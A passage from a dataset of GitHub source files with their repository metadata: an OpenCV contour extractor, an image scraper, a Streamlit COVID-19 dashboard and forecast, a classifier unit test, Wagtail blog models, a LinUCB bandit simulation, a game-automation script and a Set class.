cv2.imwrite('H.jpg', img_H)\n _, img_masked = cv2.threshold(img_H, threshold, 255, cv2.THRESH_BINARY) # Hがthreshold以上のピクセルを255, それ以外を0に変換\n return img_masked\n\n\nif __name__ == '__main__':\n img_bgr = cv2.imread('883957.png')\n\n # 全体の輪郭の検出防止のために一番外側に白線の四角を描く\n height, width, channels = img_bgr.shape[:3]\n img_bgr = cv2.rectangle(\n img_bgr, # 書き込む画像(上書き)\n (0, 0), # 端点1\n (width-1, height-1), # 端点2\n (255, 255, 255), # 色\n 3 # 太さ\n )\n\n # マスク\n img_masked = get_gray_masked_img(img_bgr, 100, save=True) # グレースケールでマスクした画像を取得\n # img_masked = get_hue_masked_img(img_bgr, 127, save=True) # 色相でマスクした画像を取得\n cv2.imwrite('masked.jpg', img_masked)\n\n # 輪郭抽出\n contours, hierarchy = cv2.findContours(\n img_masked, # 2値画像\n cv2.RETR_LIST, # 階層構造:LIST = 階層構造を持たない\n cv2.CHAIN_APPROX_SIMPLE # 近似手法:NONE = 近似なし, SIMPLE = 輪郭の線分の端点のみ保持\n ) # ラベル, 輪郭, 階層を返却\n\n # 必要な輪郭を選んで輪郭描画\n for i in range(len(contours)):\n\n # 面積が画像全体に対して十分小さい or 面積が画像全体と同等なものは無視\n area = cv2.contourArea(contours[i])\n if area <= width*height*0.0001 or area >= width*height*0.99:\n continue\n\n # 輪郭描画\n img_cp = np.copy(img_bgr)\n bounded = cv2.drawContours(\n img_cp, # 書き込む画像(上書き)\n contours, # 輪郭\n i, # 書き込む輪郭の番号\n (255,0,0), # 色\n 2 # 太さ\n )\n\n # 輪郭の端点の描画\n points = contours[i].reshape(-1, 2) # point = (x, y)の配列の形式にする\n for x, y in points:\n bounded = cv2.drawMarker(img_cp, (x, y), (0, 0, 255), markerSize=3)\n\n # 保存\n cv2.imwrite('bounded%d.jpg' % i, bounded)\n points = [(x, y*(-1) + (height - 1)) for x, y in points]\n np.savetxt('extracted_path%d.csv' % i, points, delimiter=',', fmt='%d')\n","repo_name":"Penguin8885/fourier_series_drawing","sub_path":"path_extractor/contour_path_extraction.py","file_name":"contour_path_extraction.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16691411345","text":"import requests\nimport os\nfrom bs4 import BeautifulSoup\nimport urllib.request\n\n# Initialize\nFolder = \"impressionismus\"\nsite = 'https://www.kunstbilder-galerie.de/kunstdrucke.html?p=4&painting_style=1927'\nresponse = requests.get(site)\nsoup = BeautifulSoup(response.text, 'html.parser')\nimg_tags = soup.find_all('img')\n\n\n# Download all Images\nfor i in img_tags:\n urllib.request.urlretrieve(i['data-amsrc'], filename = Folder + \"/\" + i['data-amsrc'].split('/')[-1])\n\n# Delete other files\nfor file in os.listdir(Folder):\n if file.endswith('.png') or file.endswith('.gif'):\n os.remove(Folder + \"/\" + file)\n\ntry:\n os.remove(Folder + \"/\" + \"home-kunstdrucke.jpg\")\n os.remove(Folder + \"/\" + \"sehr-gut.jpg\")\n os.remove(Folder + \"/\" + \"h-\" + Folder +\".jpg\")\nexcept:\n print(\"Löschung fehlgeschlagen\")\nfinally:\n print(\"WebScraping abgeschlossen!\")\n","repo_name":"DennisR96/SMT_MLART","sub_path":"00_Web_Scraping.py","file_name":"00_Web_Scraping.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35807977111","text":"import warnings\nfrom datetime import timedelta\nimport random\nimport math\nimport seaborn as sns\nimport streamlit as st\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport plotly.figure_factory as ff\nfrom plotly.subplots import make_subplots\n\nimport folium\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom neuralprophet import NeuralProphet\n\ncnf = '#393e46'\ndth = '#ff2e63'\nrec = '#21bf73'\nact = '#fe9801'\n\n\n@st.cache\ndef load(file):\n return pd.read_csv(file)\n\n\nst.title('Corona data-analysis based on the future prediction of covid cases')\nst.write('')\nst.image('virus.jpg')\nmenu = ['Spread of Covid cases in India over a period',\n 'Covid-19 spread in India vs other Countries', 'Age-wise corona spread in India', 'Syptoms caused to covid patients', 'Future prediction of corona cases']\nchoice = st.sidebar.selectbox('Menu', menu)\n\n\ndata1 = pd.read_csv('Cases_in_India.csv', parse_dates=['Date'])\ndata = pd.read_csv('states9.csv')\ndf = pd.read_csv('covid_19_data_cleaned.csv', parse_dates=['Date'])\ncountry_daywise = pd.read_csv('country_daywise.csv', parse_dates=['Date'])\ncountywise = pd.read_csv('countrywise.csv')\ndaywise = pd.read_csv('daywise.csv', parse_dates=['Date'])\nsymptom = pd.read_csv('Symptom.csv')\n\nconfirmed = df.groupby('Date').sum()['Confirmed'].reset_index()\nrecovered = df.groupby('Date').sum()['Recovered'].reset_index()\ndeaths = df.groupby('Date').sum()['Deaths'].reset_index()\n\nif choice == 'Spread of Covid cases in India over a period':\n st.header('Spread of Covid cases in India over a period')\n st.dataframe(data1)\n st.write(\" \")\n fig = sns.pairplot(data1)\n st.pyplot(fig)\n st.write(\" \")\n fig1 = sns.relplot(x='Total Deceased', y='Total Confirmed',\n hue='Total Recovered', data=data1)\n st.pyplot(fig1)\n st.write(\" \")\n fig2 = sns.catplot(x='Total Confirmed', kind='box', data=data1)\n st.pyplot(fig2)\nelif choice == \"Covid-19 spread in India vs other Countries\":\n st.header(\"Covid-19 spread in India vs other Countries\")\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=confirmed['Date'], y=confirmed['Confirmed'],\n mode='lines+markers', name='Confirmed', line=dict(color=\"Orange\", width=2)))\n fig.add_trace(go.Scatter(x=recovered['Date'], y=recovered['Recovered'],\n mode='lines+markers', name='Recovered', line=dict(color=\"Green\", width=2)))\n fig.add_trace(go.Scatter(x=deaths['Date'], y=deaths['Deaths'],\n mode='lines+markers', name='Deaths', line=dict(color=\"Red\", width=2)))\n fig.update_layout(title='Worldwide Covid-19 Cases',\n xaxis_tickfont_size=14, yaxis=dict(title='Number of Cases'))\n fig.show()\n fig3 = px.choropleth(country_daywise, locations='Country', locationmode='country names', color=np.log(country_daywise['Confirmed']),\n hover_name='Country', animation_frame=country_daywise['Date'].dt.strftime('%y-%m-%d'),\n title='Cases over time', color_continuous_scale=px.colors.sequential.Inferno)\n fig3.show()\n top = 15\n\n fig_c = px.bar(countywise.sort_values('Confirmed').tail(top), x='Confirmed', y='Country',\n text='Confirmed', orientation='h', color_discrete_sequence=[act])\n fig_d = px.bar(countywise.sort_values('Deaths').tail(top), x='Deaths', y='Country',\n text='Deaths', orientation='h', color_discrete_sequence=[dth])\n\n fig_a = px.bar(countywise.sort_values('Active').tail(top), x='Active', y='Country',\n text='Active', orientation='h', color_discrete_sequence=['#434343'])\n fig_r = px.bar(countywise.sort_values('Recovered').tail(top), x='Recovered', y='Country',\n text='Recovered', orientation='h', color_discrete_sequence=[rec])\n\n fig = make_subplots(rows=5, cols=2, shared_xaxes=False, horizontal_spacing=0.14,\n vertical_spacing=0.1,\n subplot_titles=('Confirmed Cases', 'Deaths Reported'))\n\n fig.add_trace(fig_c['data'][0], row=1, col=1)\n fig.add_trace(fig_d['data'][0], row=1, col=2)\n\n fig.add_trace(fig_r['data'][0], row=2, col=1)\n fig.add_trace(fig_a['data'][0], row=2, col=2)\n\n fig.update_layout(height=3000)\n fig.show()\n fig4 = px.bar(country_daywise, x='Date', y='Confirmed', color='Country', height=600,\n title='Confirmed', color_discrete_sequence=px.colors.cyclical.mygbm)\n fig4.show()\nelif choice == \"Age-wise corona spread in India\":\n st.header(\"Age-wise corona spread in India\")\n data = pd.read_csv(\"state_wise.csv\")\n data_1 = pd.read_csv(\"Book3.csv\")\n m = data.groupby('State')['Active'].sum().sort_values(ascending=False)\n data.groupby('State')['Active'].sum().sort_values(ascending=False)\n data.groupby('State')['Active'].sum().drop('Total').drop(\n 'State Unassigned').sort_values(ascending=False)\n d = data.groupby('State')['Active'].sum().drop('Total').drop(\n 'State Unassigned').sort_values(ascending=False)\n d.plot.bar(figsize=(15, 5))\n plt.show(d)\n p = data.groupby('State')['Active'].sum().drop('Total').drop(\n 'State Unassigned').sort_values(ascending=False)/403312*100\n p.plot.bar(figsize=(15, 5))\n plt.show()\n sns.scatterplot(x=\"State\", y=\"Active\", data=data)\n sns.scatterplot(data=data_1, x=\"Age Group\", y=\"No. Cases\",\n hue=\"No. Deaths\", palette=\"deep\")\n l = data_1.drop([11])\n sns.scatterplot(data=l, x=\"Age Group\", y=\"No. Cases\",\n hue=\"No. Deaths\", size=\"No. Deaths\", sizes=(100, 150))\n age_wise = data_1.groupby('Age Group')['No. Cases'].sum().drop(\n 'Total').sort_values(ascending=False)\n age_wise.plot.bar(figsize=(15, 5))\n plt.show()\nelif choice == \"Syptoms caused to covid patients\":\n st.header(\"Syptoms caused to covid patients\")\n st.dataframe(symptom)\n symptom['Percentage'] = symptom['Percentage'].astype(int)\n fig7 = sns.barplot(x=symptom['Symptoms'], y=symptom['Percentage'],\n data=symptom, palette=\"muted\")\n plt.show(fig7)\nelif choice == \"Future prediction of corona cases\":\n st.header(\"Future prediction of corona cases\")\n st.dataframe(data)\n data.rename(columns={\"Date\": \"ds\", \"Confirmed\": \"y\"}, inplace=True)\n model = NeuralProphet(growth=\"linear\",changepoints=None,n_changepoints=5,changepoints_range=0.8,trend_reg=0,trend_reg_threshold=False,yearly_seasonality=\"auto\",weekly_seasonality=\"auto\",daily_seasonality=\"auto\",seasonality_mode=\"additive\",seasonality_reg=0,n_forecasts=1,n_lags=0,num_hidden_layers=0,d_hidden=None,ar_sparsity=None,learning_rate=None,epochs=40,loss_func=\"Huber\",normalize=\"auto\",impute_missing=True)\n metrics = model.fit(data, freq=\"D\")\n future = model.make_future_dataframe(data, periods=365, n_historic_predictions=len(data))\n forecast = model.predict(future)\n st.write(\"SELECT FORECAST PERIOD\")\n periods_input = st.number_input('How many days forecast do you want?',\n min_value=1, max_value=10000)\n if st.button('Forecast'):\n future = model.make_future_dataframe(data, periods=periods_input)\n forecast = model.predict(future)\n plotting = model.plot(forecast)\n plotting2 = model.plot_components(forecast)\n st.write(plotting)\n st.write(plotting2)","repo_name":"Aniket27100709/covid-data-analysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72369513175","text":"import unittest\n\nimport pandas as pd\nfrom sklearn.neighbors import KNeighborsClassifier\n\nimport dvb.datascience as ds\n\n\nclass TestPredictor(unittest.TestCase):\n def setUp(self):\n self.train_data = pd.DataFrame(\n [[0, 0], [1, 0], [2, 1], [3, 1]],\n columns=[\"X\", \"y\"],\n index=[\"a\", \"b\", \"c\", \"d\"],\n )\n self.test_data = pd.DataFrame(\n [[0], [1.5], [2.5], [6]], columns=[\"X\"], index=self.train_data.index\n )\n\n p = ds.Pipeline()\n p.addPipe(\"read\", ds.data.DataPipe())\n p.addPipe(\"metadata\", ds.data.DataPipe(data={\"y_true_label\": \"y\"}))\n p.addPipe(\n \"clf\",\n ds.predictor.SklearnClassifier(clf=KNeighborsClassifier, n_neighbors=3),\n [(\"read\", \"data\", \"df\"), (\"metadata\", \"data\", \"df_metadata\")],\n )\n\n self.pipeline = p\n\n def test_predict(self):\n p = self.pipeline\n\n params = {\"read\": {\"data\": self.train_data}, \"clf\": {}}\n\n p.fit_transform(transform_params=params, fit_params=params)\n self.assertEqual(\n list(p.get_pipe_output(\"clf\")[\"predict\"].index), [\"a\", \"b\", \"c\", \"d\"]\n )\n self.assertEqual(\n set(p.get_pipe_output(\"clf\")[\"predict\"].columns),\n set([\"y\", \"y_pred_0\", \"y_pred_1\", \"y_pred\"]),\n )\n self.assertEqual(p.get_pipe_output(\"clf\")[\"predict\"].iloc[0][\"y_pred\"], 0)\n self.assertEqual(p.get_pipe_output(\"clf\")[\"predict\"].iloc[3][\"y_pred\"], 1)\n\n params[\"read\"][\"data\"] = self.test_data\n p.transform(transform_params=params)\n self.assertEqual(\n list(p.get_pipe_output(\"clf\")[\"predict\"].index), [\"a\", \"b\", \"c\", \"d\"]\n )\n self.assertEqual(\n set(p.get_pipe_output(\"clf\")[\"predict\"].columns),\n set([\"y_pred_0\", \"y_pred_1\", \"y_pred\"]),\n )\n self.assertEqual(p.get_pipe_output(\"clf\")[\"predict\"].iloc[0][\"y_pred\"], 0)\n self.assertEqual(p.get_pipe_output(\"clf\")[\"predict\"].iloc[3][\"y_pred\"], 1)\n","repo_name":"mabvanaartrijk/dvb.datascience","sub_path":"test/tests/predictor/predictor_test.py","file_name":"predictor_test.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4035822210","text":"from django.db import models\n\nfrom wagtail.wagtailcore.models import Page, Orderable\nfrom wagtail.wagtailcore.fields import RichTextField\nfrom wagtail.wagtailimages.edit_handlers import ImageChooserPanel\nfrom wagtail.wagtailsearch import index\n\n\nfrom modelcluster.fields import ParentalKey\nfrom wagtail.wagtailadmin.edit_handlers import (FieldPanel,\n InlinePanel,\n MultiFieldPanel,\n PageChooserPanel)\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n\nclass BlogPage(Page):\n main_image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n date = models.DateField(\"Post date\")\n intro = models.CharField(max_length=250)\n body = RichTextField(blank=True)\n\n search_fields = Page.search_fields + [\n index.SearchField('intro'),\n index.SearchField('body'),\n ]\n\n content_panels = Page.content_panels + [\n FieldPanel('date'),\n ImageChooserPanel('main_image'),\n FieldPanel('intro'),\n FieldPanel('body'),\n ]\n\n\nclass LinkFields(models.Model):\n link_external = models.URLField(\"External link\", blank=True)\n link_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+'\n )\n\n @property\n def link(self):\n if self.link_page:\n return self.link_page.url\n else:\n return self.link_external\n\n panels = [\n FieldPanel('link_external'),\n PageChooserPanel('link_page'),\n ]\n\n class Meta:\n abstract = True\n\n\n# Related links\nclass RelatedLink(LinkFields):\n title = models.CharField(max_length=255, help_text=\"Link title\")\n\n panels = [\n FieldPanel('title'),\n MultiFieldPanel(LinkFields.panels, \"Link\"),\n ]\n\n class Meta:\n abstract = True\n\n\nclass BlogIndexPage(Page):\n intro = RichTextField(blank=True)\n\n @property\n def blogs(self):\n\n blogs = BlogPage.objects.live().descendant_of(self)\n\n blogs = blogs.order_by('-date')\n\n return blogs\n\n def get_context(self, request):\n blogs = self.blogs\n\n page = request.GET.get('page')\n paginator = Paginator(blogs, 3) #count pages to display\n try:\n blogs = paginator.page(page)\n except PageNotAnInteger:\n blogs = paginator.page(1)\n except EmptyPage:\n blogs = paginator.page(paginator.num_pages)\n\n context = super(BlogIndexPage, self).get_context(request)\n context['blogs'] = blogs\n return context\n\n content_panels = Page.content_panels + [\n FieldPanel('intro', classname=\"full\")\n ]\n","repo_name":"Dani4kor/wagtail-heroku","sub_path":"blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"21982450424","text":"#import multiprocessing as mp\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport math\r\nfrom concurrent.futures import ThreadPoolExecutor,as_completed,wait,ALL_COMPLETED\r\nimport threading\r\nimport argparse\r\n\r\ndef oful_with_exploite(T, kappa1, k, d, lmd, m2, sigma_e, xmax, arm_para_noise, switch):\r\n '''\r\n @params:\r\n T: time horizon\r\n rounds: number of rounds to perform OFUL\r\n k: number of arm\r\n d: number of covairiates with intercept\r\n lmd: ridge regression parameter lmd\r\n m2: upper bound of context\r\n sigma_e: R-subgaussian constant\r\n xmax: upper bound of the context values\r\n arm_para_noise: whether use context generated from random normal or from multivariate normal\r\n switch: binary value, wheter to switch to pure exloite algorithm (run OFUL if switch = 0 else run Pure Exploite)\r\n \r\n return: regret vector\r\n '''\r\n delta = float(1/T)\r\n rounds = int(math.ceil(k*d*((math.log(T)) ** kappa1)))\r\n VtInv = np.eye(k*d)/ lmd # (k*d, k*d) matrix\r\n # 1 0 0 0 0 0\r\n # 0 1 0 0 0 0 \r\n # 0 0 1 0 0 0\r\n # 0 0 0 1 0 0\r\n # 0 0 0 0 1 0\r\n # 0 0 0 0 0 1\r\n\r\n logVtDet = [d*math.log(lmd)] * k\r\n # arm parameter\r\n # generate from a distribution / fix -> ref: mostly exploration free\r\n if arm_para_noise == 1:\r\n arm_para = np.random.normal(0,1, size = (k, d)) # k*d matrix\r\n else:\r\n # mixture distribution\r\n indicator = np.random.random()\r\n if indicator > 0.5:\r\n arm_para = np.random.multivariate_normal(-np.ones(d), np.eye(d), k)\r\n else:\r\n arm_para = np.random.multivariate_normal(np.ones(d), np.eye(d), k)\r\n\r\n \r\n # arm estimation, k*d matrix\r\n theta = np.zeros((k, d))\r\n # reward per rounk for each arm, T*k matrix\r\n reward_vec = [[0] * k for _ in range(T)]\r\n # arm that pulled in round t in [1, ..., T], only values 0,1 are accepted\r\n optimal_ind = [-1] * T\r\n # regret vector in round t in [1, ..., T], 1*T matrix\r\n regret_vec = [0] * T # cumulative regret\r\n # current value of XtYt\r\n XtYt = np.zeros((k*d, 1))\r\n # error, follows standard normal distribution\r\n e = np.random.normal(0, 1, size = (1, T)) * sigma_e\r\n # each arm has its own radius\r\n radius_t = [0] * k\r\n \r\n #print(\"initialization finished\")\r\n\r\n t = 0\r\n while t < rounds and switch == 0:\r\n ###################### Run LinUCB algorithm ##########################\r\n X_ = np.random.multivariate_normal(np.zeros((d)), 0.5*np.eye(d), 1) # (1*d) context\r\n X = np.clip(X_, -xmax, xmax)\r\n #X = X_ / np.sqrt(np.sum(X_**2))\r\n X[0][0] = 1 # intercept\r\n # reshape to (d*1)\r\n x = np.transpose(X)\r\n # calculate log determinant, each k has a unique radius\r\n for i in range(k):\r\n radius_t[i] = math.sqrt(lmd) * m2 + sigma_e * math.sqrt(2*math.log(1/delta) + (logVtDet[i] - d * math.log(lmd)))\r\n \r\n # vector to store tmp reward\r\n tmp_reward_counter = np.zeros((k,1))\r\n\r\n # compute reward for each arm\r\n for i in range(k):\r\n tmp_reward_counter[i] = math.sqrt(np.transpose(x) @ VtInv[(i)*d:((i+1)*d), (i)*d:((i+1)*d)] @ x)\r\n \r\n # compute theta @ x first, and then add the bonus part for each arm\r\n op_reward = theta @ x # k*d d*1 -> k*1\r\n for i in range(len(radius_t)):\r\n op_reward[i] += math.sqrt(radius_t[i]) * (tmp_reward_counter[i])\r\n\r\n if t == 0: # randomly select\r\n op_arm = np.random.randint(0, len(op_reward.tolist()))\r\n else:\r\n # return index of optimal arm\r\n op_arm = np.argmax(op_reward)\r\n \r\n # # record which arm been pulled\r\n optimal_ind[t] = int(op_arm)\r\n\r\n # calculate reward based on the arm pulled\r\n theo_reward = arm_para @ x # rewards for each arm in theory\r\n round_reward = theo_reward[op_arm]\r\n true_reward = max(theo_reward)\r\n # calculate cumulative regret\r\n if t < 1:\r\n regret_vec[t] = float(true_reward - round_reward)\r\n else:\r\n regret_vec[t] = float(regret_vec[t-1]) + float(true_reward - round_reward)\r\n\r\n # record reward\r\n reward_vec[t][op_arm] = float(round_reward + e[0][t])\r\n\r\n # update inverse matrix using woodbury formula\r\n \r\n vtxtxtvt = VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ x @ np.transpose(x) @ VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)]\r\n deno = (1 + float(np.transpose(x) @ VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ x))\r\n VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] -= (vtxtxtvt / deno)\r\n \r\n # update log determinant\r\n \r\n logVtDet[op_arm] += math.log((1 + (np.transpose(x) @ VtInv[(op_arm)*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ x)))\r\n\r\n # update the sum (XtYt)\r\n XtYt[op_arm*d:((op_arm+1)*d)] = XtYt[op_arm*d:((op_arm+1)*d)] + (x * reward_vec[t][op_arm])\r\n\r\n # update estimator theta\r\n theta_new = VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ XtYt[op_arm*d:((op_arm+1)*d)] # d*1\r\n theta[op_arm,:] = np.transpose(theta_new) # 1*d\r\n\r\n t += 1\r\n \r\n changet = t\r\n switch = 1\r\n\r\n ###################################### Run Pure Exploit Algotithm ######################################\r\n for t in range(changet, T):\r\n X_ = np.random.multivariate_normal(np.zeros((d)), 0.5*np.eye(d), 1) # (1*d) context\r\n X = np.clip(X_, -xmax, xmax)\r\n #X = X_ / np.sqrt(np.sum(X_**2))\r\n X[0][0] = 1 # intercept\r\n # reshape to (d*1)\r\n x = np.transpose(X)\r\n # vector to store tmp reward\r\n # tmp_reward_counter = np.zeros((k,1))\r\n # for i in range(k):\r\n # tmp_reward_counter[i] = math.sqrt(np.transpose(x) @ VtInv[(i)*d:((i+1)*d), (i)*d:((i+1)*d)] @ x)\r\n \r\n op_reward = theta @ x # no upper bound in pure exploite\r\n\r\n # return index of optimal arm\r\n op_arm = np.argmax(op_reward)\r\n # # record which arm been pulled\r\n optimal_ind[t] = int(op_arm)\r\n\r\n # calculate reward based on the arm pulled\r\n theo_reward = arm_para @ x # rewards for each arm in theory\r\n round_reward = theo_reward[op_arm]\r\n true_reward = max(theo_reward)\r\n # calculate cumulative regret\r\n if t < 1:\r\n regret_vec[t] = float(true_reward - round_reward)\r\n else:\r\n regret_vec[t] = float(regret_vec[t-1]) + float(true_reward - round_reward)\r\n\r\n # record reward\r\n reward_vec[t][op_arm] = float(round_reward + e[0][t])\r\n\r\n # update inverse matrix using woodbury formula\r\n # tmp_context = np.zeros((k*d, 1))\r\n # tmp_context[(op_arm * d): (op_arm+1)*d] = x\r\n \r\n vtxtxtvt = VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ x @ np.transpose(x) @ VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)]\r\n deno = (1 + float(np.transpose(x) @ VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ x))\r\n VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] -= (vtxtxtvt / deno)\r\n\r\n # update the sum (XtYt)\r\n XtYt[op_arm*d:((op_arm+1)*d)] = XtYt[op_arm*d:((op_arm+1)*d)] + (x * reward_vec[t][op_arm])\r\n\r\n # update estimator theta\r\n theta_new = VtInv[op_arm*d:((op_arm+1)*d), (op_arm)*d:((op_arm+1)*d)] @ XtYt[op_arm*d:((op_arm+1)*d)] # d*1\r\n theta[op_arm,:] = np.transpose(theta_new) # 1*d\r\n \r\n return regret_vec\r\n\r\ndef draw(rsltMean, rsltStd, T, k, p):\r\n plt.figure(figsize=(10,10))\r\n x = list(range(len(rsltMean)))\r\n y = rsltMean\r\n #plt.plot(x, y, linestyle = \"--\", label = \"OFUL\")\r\n plt.errorbar(x,y,yerr=rsltStd,fmt='-',ecolor='r',color='b',elinewidth=1,capsize=4, label = \"Tr-LinUCB\")\r\n plt.title(\"Cumulative Regret in {} round, kappa = {}, independent radius, max regret is: {}\".format(T, p, round(max(rsltMean), 3)))\r\n plt.xlabel(\"Round\")\r\n plt.ylabel(\"Regret\")\r\n #plt.ylim(0, 120)\r\n plt.legend(loc = \"lower right\")\r\n plt.savefig(\"./figures/kappa_{}_T_{}.jpg\".format(p, T))\r\n\r\ndef runOnce(total_regret_vec, T, kappa1, k, d, lmd, m2, sigma_e, xmax, arm_para_noise, switch, i):\r\n lock = threading.Lock()\r\n #total_regret_vec = np.zeros((1000, T))\r\n temp_reg = oful_with_exploite(T, kappa1, k, d, lmd, m2, sigma_e, xmax, arm_para_noise, switch)\r\n # when write data in the array, a thread lock is required\r\n lock.acquire()\r\n total_regret_vec[i,:] = temp_reg\r\n lock.release()\r\n\r\n\r\ndef simulate(T, kappa, k, d, lmd, m2, sigma_e, xmax, arm_para_noise, switch):\r\n np.random.seed(41)\r\n # T = 100000\r\n # kappa1 = 1.1\r\n # d = 3 + 1\r\n # lmd = 0.1\r\n # delta = 1/T\r\n # m2 = 1\r\n # L = 1\r\n # sigma_e = 0.5\r\n # xmax = 1\r\n # arm_para_noise = 0\r\n # switch = 0\r\n # case = 3\r\n num2 = 0\r\n num_simu = 1000\r\n #total_regret_vec = np.zeros((num_simu, T))\r\n ncpus = int(os.environ.get('SLURM_CPUS_PER_TASK',default=10))\r\n total_regret_vec = np.zeros((num_simu, T))\r\n # enable multi-thread\r\n with ThreadPoolExecutor(max_workers=ncpus) as executor:\r\n task_all = [executor.submit(runOnce, total_regret_vec, T, kappa, k, d, lmd, m2, sigma_e, xmax, arm_para_noise, switch, i) for i in range(num_simu)]\r\n for future in as_completed(task_all):\r\n data = future.result()\r\n num2 += 1\r\n print(\"get executor {} success\".format(num2))\r\n mean_regret_vec = np.mean(total_regret_vec, axis=0)\r\n std_regret_vec = np.std(total_regret_vec, axis=0) / math.sqrt(num_simu) # error bar\r\n pd.DataFrame(mean_regret_vec).to_csv(\"./mean_value_T_{}_ka_{}_trlucb_norm.csv\".format(T, kappa), header=None, index=False)\r\n pd.DataFrame(std_regret_vec).to_csv(\"./std_value_T_{}_ka_{}_trlucb_norm.csv\".format(T, kappa), header=None, index=False)\r\n #draw(mean_regret_vec, std_regret_vec, T, k, p, case)\r\n\r\n\r\ndef parse_opt():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--T', type=int, default=10000, help=\"number of time horizon\")\r\n parser.add_argument('--kappa', type=float, default = 2.0, help=\"power for LinUCB rounds\")\r\n parser.add_argument('--k', type=int, default=2, help=\"number of arms\")\r\n parser.add_argument('--d', type=int, default=4, help=\"number of covairates(with intercept)\")\r\n parser.add_argument('--lmd', type=float, default = 0.1, help=\"lambda value\")\r\n parser.add_argument('--m2', type=int, default=1, help=\"upper bound of parameter\")\r\n parser.add_argument('--sigma_e', type=float, default = 0.5, help=\"sigma value for gaussian distribution\")\r\n parser.add_argument('--xmax', type=int, default=1, help=\"for truncated value from context distribution\")\r\n parser.add_argument('--arm_para_noise', type=int, default=0, help=\"whether to use correct noise\")\r\n parser.add_argument('--switch', type=int, default=0, help=\"indicator to switch to pure exploit from OFUL\")\r\n opt = parser.parse_args()\r\n return opt\r\n\r\n\r\ndef main(opt):\r\n simulate(**vars(opt))\r\n\r\nif __name__ == \"__main__\":\r\n opt = parse_opt()\r\n main(opt)\r\n","repo_name":"simonZhou86/Tr_LinUCB","sub_path":"tr_linucb.py","file_name":"tr_linucb.py","file_ext":"py","file_size_in_byte":11180,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"40606345241","text":"from interface.Major import *\nfrom recovery.recover import *\nfrom config import recovery_times, run_time\nfrom util.ats import screenshot\nfrom util.clean import clean_tmp\n\ntimes = recovery_times\nplay = run_time\n\nf = open('log.txt', 'w')\nst = '[MAIN] MAX APPLES: ' + \\\n str(times) + '\\r' + '[MAIN] MAX TIMES: ' + str(play) + '\\r'\nf.write(st)\nf.close()\n\nclean_tmp()\n\nwhile times >= 0:\n time.sleep(0.2)\n screenshot()\n s = Major()\n end = s.recognize()\n\n if play == \"inf\":\n\n ap = recover_ap()\n if ap == 1 and times != 0:\n continue\n elif ap == 1 and times == 0:\n apa = '[MAIN] Out of AP!'\n output_log(apa)\n break\n elif ap == 2:\n times = times - 1\n out = '[MAIN] Apples left: ' + str(times)\n output_log(out)\n time.sleep(2)\n\n elif play != \"inf\":\n\n if end == \"end\":\n play = play - 1\n pl = '[MAIN] Times left: ' + str(play)\n output_log(pl)\n\n ap = recover_ap()\n if ap == 1 and times != 0:\n continue\n elif ap == 1 and times == 0:\n apb = '[MAIN] Out of AP!'\n output_log(apb)\n break\n elif ap == 2:\n times = times - 1\n out = '[MAIN] Apples left: ' + str(times)\n output_log(out)\n time.sleep(2)\n\n if play == 0:\n break\n\nendnote = '[MAIN] FINISHED'\noutput_log(endnote)\n","repo_name":"Meowcolm024/FGO-One","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"67"} +{"seq_id":"11080641549","text":"# Implementation of SET ADT using Sorted List\n\nclass Set:\n # Creates an empty set instance.\n def __init__(self, *initialElement):\n self.elements = list()\n\n for i in range(len(initialElement)):\n self.add(initialElement[i])\n\n\n # Returns the number of items in the set\n def __len__(self):\n return len(self.elements)\n\n # Determines if an element is in the set.\n def __contains__(self, element):\n ndx = self.findPosition(element)\n return ndx < len(self) and self.elements[ndx] == element\n\n # Adds a new unique element to the set.\n def add(self, element):\n if element not in self.elements:\n ndx = self.findPosition(element)\n self.elements.insert(ndx, element)\n\n # Removes an element from the set.\n def remove(self, element):\n assert element in self.elements, \"Element not in Set\"\n ndx = self.findPosition(element)\n self.elements.pop(ndx)\n\n # Determines if this set is a subset of setB.\n def isSubsetOf(self, setB):\n for element in self.elements:\n if element not in setB.elements:\n return False\n return True\n \n # Determines if Set is a proper Set\n def properSet(self, setB):\n return self.isSubsetOf(setB) and self != setB\n\n # Returns the Items in the Set as String\n def __str__(self):\n return '{%s}' % str(self.elements).strip(\"[]\")\n\n 